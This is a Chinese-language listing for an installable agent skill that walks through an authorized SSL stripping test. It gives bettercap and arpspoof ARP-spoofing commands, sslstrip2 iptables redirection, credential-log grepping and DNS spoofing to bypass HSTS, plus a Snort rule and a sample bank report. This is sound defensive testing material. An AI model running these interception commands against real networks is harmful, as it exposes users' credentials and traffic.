# Performing Ssl Stripping Attack

> 在授权环境中使用 sslstrip、Bettercap 和 mitmproxy 模拟 SSL 剥离（SSL Stripping）攻击， 测试 HSTS 强制执行、证书验证以及保护用户免受加密连接降级攻击的 HTTPS 升级机制。

- Skill: `killvxk/performing-ssl-stripping-attack` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-ssl-stripping-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-ssl-stripping-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-ssl-stripping-attack

---

# 执行 SSL 剥离攻击

## 适用场景

- 测试 Web 应用是否通过 HSTS 头部和重定向链正确强制执行 HTTPS
- 验证 HSTS 预加载是否正确配置并已注册到浏览器预加载列表
- 在授权安全评估中向利益相关者演示明文 HTTP 的风险
- 评估内部应用和厚客户端（Thick Client）是否验证 TLS 证书并拒绝降级
- 培训 SOC 团队检测网络流量中的 SSL 剥离指标

**不适用于**在没有明确书面授权的情况下针对网络或应用使用，不得拦截真实用户凭据，未经变更管理批准不得在业务时间针对生产系统使用。

## 前置条件

- 书面授权，明确授权范围内的应用和批准的攻击技术
- 攻击机上安装 Bettercap 2.x 或 sslstrip2
- 建立 ARP 欺骗或其他中间人（MITM）定位（参见 ARP 欺骗技能）
- 攻击机上启用 IP 转发
- 使用 Wireshark 验证攻击成功并捕获证据
- 测试账户（非真实用户凭据）用于演示凭据拦截

## 工作流程

### 步骤 1：建立中间人位置

```bash
# 启用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=1

# 通过 Bettercap 使用 ARP 欺骗进行定位
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"

# 或者使用 dsniff 的 arpspoof
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &
```

### 步骤 2：使用 Bettercap 执行 SSL 剥离

```bash
# 启动带 SSL 剥离功能的 Bettercap
sudo bettercap -iface eth0

# 启用 ARP 欺骗
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on

# 启用带 SSL 剥离的 HTTP 代理
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on

# 启用网络嗅探器进行凭据捕获
> set net.sniff.verbose true
> net.sniff on

# 监视拦截到的 HTTP 流量（原本是 HTTPS）
# Bettercap 将实时显示凭据和 URL
```

### 步骤 3：使用 sslstrip2 执行 SSL 剥离

```bash
# 配置 iptables 将 HTTP 流量通过 sslstrip 重定向
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# 启动 sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt

# 在另一个终端中监视拦截到的凭据日志
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"

# sslstrip 的工作原理：
# 1. 拦截包含 HTTPS 链接的 HTTP 响应
# 2. 将响应中的 https:// 替换为 http://
# 3. 维护与真实服务器的 HTTPS 连接
# 4. 向受害者提供降级后的 HTTP
```

### 步骤 4：测试 HSTS 绕过技术

```bash
# 检查目标是否有 HSTS 头部
curl -sI https://target-app.example.com | grep -i strict-transport-security

# 检查目标是否在 HSTS 预加载列表中
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool

# 通过子域名替换测试 HSTS 绕过
# sslstrip2 可以将 URL 替换为看起来相似的 HTTP 替代方案：
# https://accounts.google.com -> http://accounts.google.com（有 HSTS 则失败）
# https://accounts.google.com -> http://accounts.google.com.（尾随点绕过尝试）

# 使用 DNS 欺骗进行 Bettercap HSTS 绕过
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on

# 对于不在 HSTS 预加载列表中的应用，清除测试浏览器中的 HSTS 缓存：
# Chrome: chrome://net-internals/#hsts -> 删除域安全策略
# Firefox: 清除最近历史记录 -> 活跃登录（重置 HSTS）
```

### 步骤 5：验证检测和控制

```bash
# 从受害者角度检查：
# 1. 浏览器地址栏应显示 http:// 而非 https://
# 2. 无可见挂锁图标
# 3. 如果 HSTS 有效，浏览器应显示错误并拒绝连接

# 捕获降级的证据
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
  -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
  -Y "http.request" > ssl_strip_evidence.txt

# 验证受害者看到的与发往真实服务器的内容
# 受害者到攻击者：HTTP（80 端口，明文）
tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20

# 攻击者到真实服务器：HTTPS（443 端口，加密）
tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20

# 检查 IDS/SIEM 是否有检测
# 应能检测 SSL 剥离指标的 Snort 规则：
# alert tcp any any -> $HOME_NET 80 (msg:"Possible SSL Strip - Login form over HTTP";
#   flow:to_client,established; content:"type=\"password\""; nocase;
#   content:"http://"; nocase; sid:9000010;)

# 检查缺失 HSTS 头部的告警
curl -s http://target-app.example.com | grep -i "password\|login"
# 如果登录表单通过 HTTP 提供，则 SSL 剥离成功
```

### 步骤 6：清理和报告

```bash
# 停止 SSL 剥离
# 在 Bettercap 中：
> http.proxy off
> arp.spoof off
> quit

# 移除 iptables 规则
sudo iptables -t nat -F PREROUTING

# 禁用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0

# 终止后台进程
sudo killall sslstrip2 arpspoof 2>/dev/null

# 验证网络已恢复
ping -c 1 192.168.1.1
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **SSL 剥离（SSL Stripping）** | 降级攻击，拦截 HTTP 到 HTTPS 的重定向，在向受害者提供明文 HTTP 的同时维护与服务器的加密连接 |
| **HSTS（HTTP 严格传输安全）** | HTTP 响应头，指示浏览器在指定期限内仅通过 HTTPS 连接，防止后续访问中的 SSL 剥离 |
| **HSTS 预加载（HSTS Preloading）** | 将域名提交到浏览器维护的列表，从第一次连接起就强制 HTTPS，消除首次访问的漏洞窗口 |
| **证书透明度（Certificate Transparency）** | TLS 证书的公开日志框架，可检测错误签发的证书，但不能防止 SSL 剥离 |
| **混合内容（Mixed Content）** | 通过 HTTPS 提供但通过 HTTP 加载资源（脚本、图像）的 Web 页面，产生部分降级漏洞 |
| **Upgrade-Insecure-Requests** | CSP 指令，指示浏览器将 HTTP 请求升级为 HTTPS，补充 HSTS 以防止混合内容 |

## 工具与系统

- **Bettercap 2.x**：集成 SSL 剥离、HTTP/HTTPS 代理和凭据嗅探的网络攻击框架
- **sslstrip2**：专用 SSL 剥离工具，通过 URL 重写透明地将 HTTPS 降级为 HTTP
- **mitmproxy**：TLS 拦截代理，可修改响应头以移除 HSTS 和其他安全头部
- **curl**：用于测试 HSTS 头部、重定向链和证书验证的命令行工具
- **hstspreload.org**：公共 HSTS 预加载列表检查器，用于验证域名是否包含在浏览器预加载数据库中

## 常见场景

### 场景：测试某银行 Web 应用的 HSTS 实施

**背景**：某银行在其网银门户（banking.example.com）上部署了 HSTS，现在需要验证其是否有效防止 SSL 剥离。评估已授权在测试环境同一 VLAN 的工作站上进行测试，使用专用测试账户。

**方法**：
1. 验证 HSTS 头部是否存在及其值：`curl -sI https://banking.example.com | grep -i strict` 显示 `max-age=31536000; includeSubDomains; preload`
2. 检查 HSTS 预加载状态：确认该域名在 Chrome 和 Firefox 预加载列表中
3. 在测试工作站上使用 Bettercap 进行 ARP 欺骗和 SSL 剥离
4. 从测试工作站尝试访问 banking.example.com——Chrome 拒绝连接并显示 NET::ERR_CERT_AUTHORITY_INVALID（HSTS 阻止降级）
5. 使用全新浏览器配置文件（无 HSTS 缓存）测试——仍被阻止，因为该域名已预加载
6. 测试银行移动应用——应用通过 HTTP 成功连接（未强制执行 HSTS），以明文暴露凭据
7. 测试子域名 api.banking.example.com——不在预加载列表中，首次访问前 SSL 剥离成功

**注意事项**：
- 使用已为目标域名缓存了 HSTS 的浏览器测试，得出 HSTS 有效的结论，但首次访问的用户可能仍然易受攻击
- 没有单独测试子域名——`includeSubDomains` 仅在收到父域名的 HSTS 头部后才生效
- 忘记测试可能完全不遵守 HSTS 头部的移动应用
- 未检查可能在启用 HSTS 的情况下仍泄露会话令牌的混合内容

## 输出格式

```
## SSL 剥离评估报告

**测试 ID**：SSL-STRIP-2024-001
**目标应用**：banking.example.com
**测试日期**：2024-03-15

### HSTS 配置

| 属性 | 值 | 状态 |
|------|-----|------|
| HSTS 头部存在 | 是 | 通过 |
| max-age | 31536000（1 年） | 通过 |
| includeSubDomains | 是 | 通过 |
| preload | 是 | 通过 |
| 在 Chrome 预加载列表中 | 是 | 通过 |

### SSL 剥离测试结果

| 目标 | 客户端 | HSTS 状态 | 剥离结果 |
|------|--------|-----------|----------|
| banking.example.com | Chrome（缓存） | 已激活 | 已阻止 |
| banking.example.com | Chrome（全新） | 已预加载 | 已阻止 |
| banking.example.com | 移动应用 | 未强制执行 | 易受攻击 |
| api.banking.example.com | Chrome（全新） | 未预加载 | 易受攻击（首次访问） |

### 建议
1. 在移动银行应用中实施 TLS 证书固定（严重）
2. 将 api.banking.example.com 单独提交到 HSTS 预加载列表
3. 添加 Content-Security-Policy: upgrade-insecure-requests 头部
4. 为该域名实施证书透明度监控
```